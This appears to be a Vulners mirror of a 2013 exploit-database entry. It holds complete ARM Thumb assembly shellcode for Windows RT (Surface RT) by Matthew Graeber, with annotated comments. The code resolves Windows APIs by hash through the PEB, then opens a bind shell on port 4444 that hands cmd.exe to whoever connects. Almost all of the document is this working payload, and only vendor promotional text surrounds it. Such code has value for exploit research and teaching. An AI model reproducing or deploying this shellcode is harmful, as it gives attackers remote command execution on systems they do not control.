Lucene search
K

Windows RT ARM Bind Shell (Port 4444)

🗓️ 29 Jul 2013 00:00:00Reported by Matthew GraeberType 
zdt
 zdt
🔗 0day.today👁 25 Views

Windows RT ARM Bind Shell (Port 4444) for Microsoft Surface RT Tablet w/ Windows RT 6.2.9200, ARM Thumb code to execute bind shell function via baseaddress +

Code
; Title:     Windows RT ARM Bind Shell (Port 4444)
; Date:      July 28, 2013
; Author:    Matthew Graeber (@mattifestation)
; Blog post: http://www.exploit-monday.com/2013/07/WinRT-ARM-Shellcode.html
; Tested on: Microsoft Surface RT Tablet w/ Windows RT (6.2.9200)
; License:   BSD 3-Clause
; Syntax:    MASM
 
; Notes: In order for this to work properly, you have to call this payload
;        at baseaddress + 1 since it is thumb code.
;        This was built with armasm.exe from Visual Studio 2012
 
 
    AREA    |.foo|, CODE, THUMB
    ; After linking, the resulting executable will only
    ; have a single section (with RX permissions) named .foo
 
    EXPORT  main
 
main
    push        {r4,lr}     ; Preserve registers on the stack
    bl          ExecutePayload  ; Execute bind shell function
    pop         {r4,pc}     ; Restore registers on the stack and return to caller
 
 
GetProcAddress
; ARM (Thumb) implementation of the logic from the Metasploit x86 block_api shellcode
    push        {r1-r11,lr}     ; Preserve registers on the stack
    mov         r9,r0       ; Save the function hash in R9
    mrc         p15,#0,r3,c13,c0,#2 ; R3 = &TEB
    ldr         r3,[r3,#0x30]   ; R3 = &PEB
    ldr         r3,[r3,#0xC]    ; R3 = PEB->Ldr
    movs        r6,#0       ; R6 = 0
    ldr         r1,[r3,#0xC]    ; R1 = Ldr->InLoadOrderModuleList
    ldr         r4,[r1,#0x18]   ; R4 = LDR_DATA_TABLE_ENTRY.DllBase
    ldr         r3,[r1,#0x2C]   ; R3 = LDR_DATA_TABLE_ENTRY.BaseDllName
    ldr         r7,[r1,#0x30]   ; R7 = LDR_DATA_TABLE_ENTRY.BaseDllName.Buffer
    str         r3,[sp]     ; Store BaseDllName.Length/MaximumLength on the stack
    cbz         r4,exit_failure ; If DllBase == 0, you've likely reached the end of the module list. Return 0.
    mov         r10,#0xD        ; R10 = ROR value (13)
    mov         r11,#0xD        ; R11 = ROR value (13)
get_module_hash     ; Improvement: Need to validate MaximumLength != 0
    ldrh        r5,[sp,#2]      ; BaseDllName.MaximumLength
    movs        r2,#0       ; i = 0
    cbz         r5,get_export_dir   ; Reached the last char of BaseDllName
ror_module_char
    ldrsb       r3,[r7,r2]      ; R3 = (CHAR) *((PCSTR) BaseDllName.Buffer + i)
    rors        r0,r6,r10       ; Calculate the next portion of the module hash
    cmp         r3,#0x61        ; Is the character lower case?
    blt         notlowercase
    adds        r3,r3,r0        ; Add to the running hash value
    subs        r6,r3,#0x20     ; Convert character to upper case
    b           get_next_char
notlowercase
    adds        r6,r3,r0        ; Add to the running hash value
get_next_char
    adds        r2,#1       ; Move to the next character
    cmp         r2,r5       ; Reached the last character in the module name?
    bcc         ror_module_char ; If not, move on to the next character
get_export_dir
    ; At this point, the module hash has been calculated.
    ; Now begin calculating the function hash
    ldr         r3,[r4,#0x3C]   ; IMAGE_DOS_HEADER.e_lfanew - i.e. offset to PE IMAGE_NT_HEADERS
    adds        r3,r3,r4        ; PIMAGE_NT_HEADERS
    ldr         r3,[r3,#0x78]   ; IMAGE_DIRECTORY_ENTRY_EXPORT.VirtualAddress (only an RVA at this point)
    cbz         r3,get_next_module  ; Move to the next module if it doesn't have an export directory (i.e. most exe files)
    adds        r5,r3,r4        ; Calculate export dir virtual address
    ldr         r3,[r5,#0x20]   ; R3 = PIMAGE_EXPORT_DIRECTORY->AddressOfNames
    ldr         r7,[r5,#0x18]   ; R7 = PIMAGE_EXPORT_DIRECTORY->NumberOfNames
    movs        r0,#0
    adds        r8,r3,r4        ; AddressOfNames VA
    cbz         r7,get_next_module  ; Move on to the next module if there are no exported names
calc_func_hash
    ldr         r3,[r8],#4      ; R3 = Current name RVA
    movs        r2,#0
    adds        lr,r3,r4        ; lr = Current name VA
get_func_char
    ldrsb       r3,[lr]     ; Load char from the function name
    rors        r2,r2,r11       ; Calculate the next portion of the function hash
    adds        r2,r2,r3        ; Add to the running hash value
    ldrsb       r3,[lr],#1      ; Peek at the next char
    cmp         r3,#0       ; Are you at the end of the function string?
    bne         get_func_char   ; If not, calculate hash for the next char.
    adds        r3,r2,r6        ; Add the module hash to the function hash
    cmp         r3,r9       ; Does the calulated hash match the hash provided?
    beq         get_func_addr
    adds        r0,#1
    cmp         r0,r7       ; Are there more functions to process?
    bcc         calc_func_hash
get_next_module
    ldr         r1,[r1]     ; LDR_DATA_TABLE_ENTRY.InLoadOrderLinks.Flink
    movs        r6,#0       ; Clear the function hash
    ; Improvement: The following portion is redundant
    ldr         r4,[r1,#0x18]   ; R4 = LDR_DATA_TABLE_ENTRY.DllBase
    ldr         r3,[r1,#0x2C]   ; R3 = LDR_DATA_TABLE_ENTRY.BaseDllName
    ldr         r7,[r1,#0x30]   ; R7 = LDR_DATA_TABLE_ENTRY.BaseDllName.Buffer
    cmp         r4,#0       ; DllBase == 0?
    str         r3,[sp]     ; Store BaseDllName.Length/MaximumLength on the stack
    bne         get_module_hash
exit_failure
    movs        r0,#0       ; Return 0 upon failure to find a matching hash
exit_success
    pop         {r1-r11,pc}     ; Restore stack and return to caller with the function address in R0
get_func_addr
    ldr         r3,[r5,#0x24]   ; R3 = PIMAGE_EXPORT_DIRECTORY->AddressOfNameOrdinals
    add         r3,r3,r0,lsl #1
    ldrh        r2,[r3,r4]      ; R2 = Ordinal table index
    ldr         r3,[r5,#0x1C]   ; R3 = PIMAGE_EXPORT_DIRECTORY->AddressOfFunctions
    add         r3,r3,r2,lsl #2
    ldr         r3,[r3,r4]      ; Function RVA
    adds        r0,r3,r4        ; R0 = Function VA
    b           exit_success
 
ExecutePayload
    ; Improvement: None of the calls to GetProcAddress
    ;  validate that a valid address was actually returned
    ; Metasploit shellcode doesn't perform this validation either. :P
    push        {r4-r11,lr}     ; Preserve registers on the stack
    subw        sp,sp,#0x214    ; Allocate soace on the stack for local variables
    movs        r3,#0x44        ; sizeof(_PROCESS_INFORMATION)
    add         r2,sp,#0x38     ; R2 = &StartupInfo
    movs        r1,#0
init_mem1
    ; Improvement: I could just initialize everything on the stack to 0
    strb        r1,[r2],#1      ; Set current byte to 0
    subs        r3,#1
    bne         init_mem1
    movs        r3,#0x10        ; sizeof(_STARTUPINFOW)
    add         r2,sp,#0x28     ; R2 = &ProcessInformation
init_mem2
    strb        r1,[r2],#1      ; Set current byte to 0
    subs        r3,#1
    bne         init_mem2
 
    ldr         r0,HASH_LoadLibraryA
    bl          GetProcAddress
    mov         r3,r0
    adr         r0,module_name  ; &"ws2_32.dll"
    blx         r3          ; LoadLibrary("ws2_32.dll");
    ldr         r0,HASH_WsaStartup
    bl          GetProcAddress
    mov         r4,r0
    ldr         r0,HASH_WsaSocketA
    bl          GetProcAddress
    mov         r5,r0
    ldr         r0,HASH_Bind
    bl          GetProcAddress
    mov         r6,r0
    ldr         r0,HASH_Listen
    bl          GetProcAddress
    mov         r7,r0
    ldr         r0,HASH_Accept
    bl          GetProcAddress
    mov         r8,r0
    ldr         r0,HASH_CloseSocket
    bl          GetProcAddress
    mov         r9,r0
    ldr         r0,HASH_CreateProcess
    bl          GetProcAddress
    mov         r10,r0
    ldr         r0,HASH_WaitForSingleObject
    bl          GetProcAddress
    mov         r11,r0
    mov         r0,#0x0202
    add         r1,sp,#0x80
    blx         r4          ; WSAStartup(MAKEWORD(2, 2), &WSAData);
    movs        r3,#0
    movs        r2,#0
    movs        r1,#1
    movs        r0,#2
    str         r3,[sp,#4]
    str         r3,[sp]
    blx         r5          ; s = WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 );
    movs        r3,#2       ; service.sin_family = AF_INET;
    strh        r3,[sp,#0x18]
    movs        r3,#0       ; service.sin_addr.s_addr = 0;
    str         r3,[sp,#0x1C]
    mov         r3,#0x5C11      ; service.sin_port = HTONS(4444);
    movs        r2,#0x10
    add         r1,sp,#0x18
    strh        r3,[sp,#0x1A]
    mov         r5,r0       ; WSASocketA returned socket (s)
    blx         r6          ; Bind( s, (SOCKADDR *) &service, sizeof(service) );
    movs        r1,#0
    mov         r0,r5
    blx         r7          ; Listen( s, 0 );
    movs        r2,#0
    movs        r1,#0
    mov         r0,r5
    blx         r8          ; AcceptedSocket = Accept( s, 0, 0 );
    mov         r4,r0
    mov         r0,r5
    blx         r9          ; CloseSocket( s ); Close the original socket
    mov         r3,#0x101       ; StartupInfo.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
    str         r3,[sp,#0x64]
    movs        r3,#0x44        ; StartupInfo.cb = 68;
    str         r3,[sp,#0x38]
    add         r3,sp,#0x28
    str         r3,[sp,#0x14]
    add         r3,sp,#0x38
    str         r3,[sp,#0x10]
    movs        r3,#0
    str         r3,[sp,#0xC]
    str         r3,[sp,#8]
    str         r3,[sp,#4]
    movs        r3,#1
    adr         r1,cmdline      ; &"cmd"
    str         r3,[sp]
    movs        r3,#0
    movs        r2,#0
    movs        r0,#0
    str         r4,[sp,#0x78]   ; StartupInfo.hStdError = (HANDLE) AcceptedSocket;
    str         r4,[sp,#0x74]   ; StartupInfo.hStdOutput = (HANDLE) AcceptedSocket;
    str         r4,[sp,#0x70]   ; StartupInfo.hStdInput = (HANDLE) AcceptedSocket;
    blx         r10         ; CreateProcessA( 0, "cmd", 0, 0, TRUE, 0, 0, 0, &StartupInfo, &ProcessInformation );
    ldr         r0,[sp,#0x28]
    mvn         r1,#0
    blx         r11         ; WaitForSingleObject( ProcessInformation.hProcess, INFINITE );
    addw        sp,sp,#0x214
    pop         {r4-r11,pc}
 
HASH_WaitForSingleObject
    DCD         0x601d8708
HASH_CreateProcess
    DCD         0x863fcc79
HASH_CloseSocket
    DCD         0x614d6e75
HASH_Accept
    DCD         0xe13bec74
HASH_Listen
    DCD         0xff38e9b7
HASH_Bind
    DCD         0x6737dbc2
HASH_WsaSocketA
    DCD         0xe0df0fea
HASH_WsaStartup
    DCD         0x006b8029
HASH_LoadLibraryA
    DCD         0x0726774c
 
cmdline
    DCB "cmd", 0x0
 
module_name
    DCB "ws2_32.dll", 0x0
 
 
    END

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

29 Jul 2013 00:00Current
0.1Low risk
Vulners AI Score0.1
25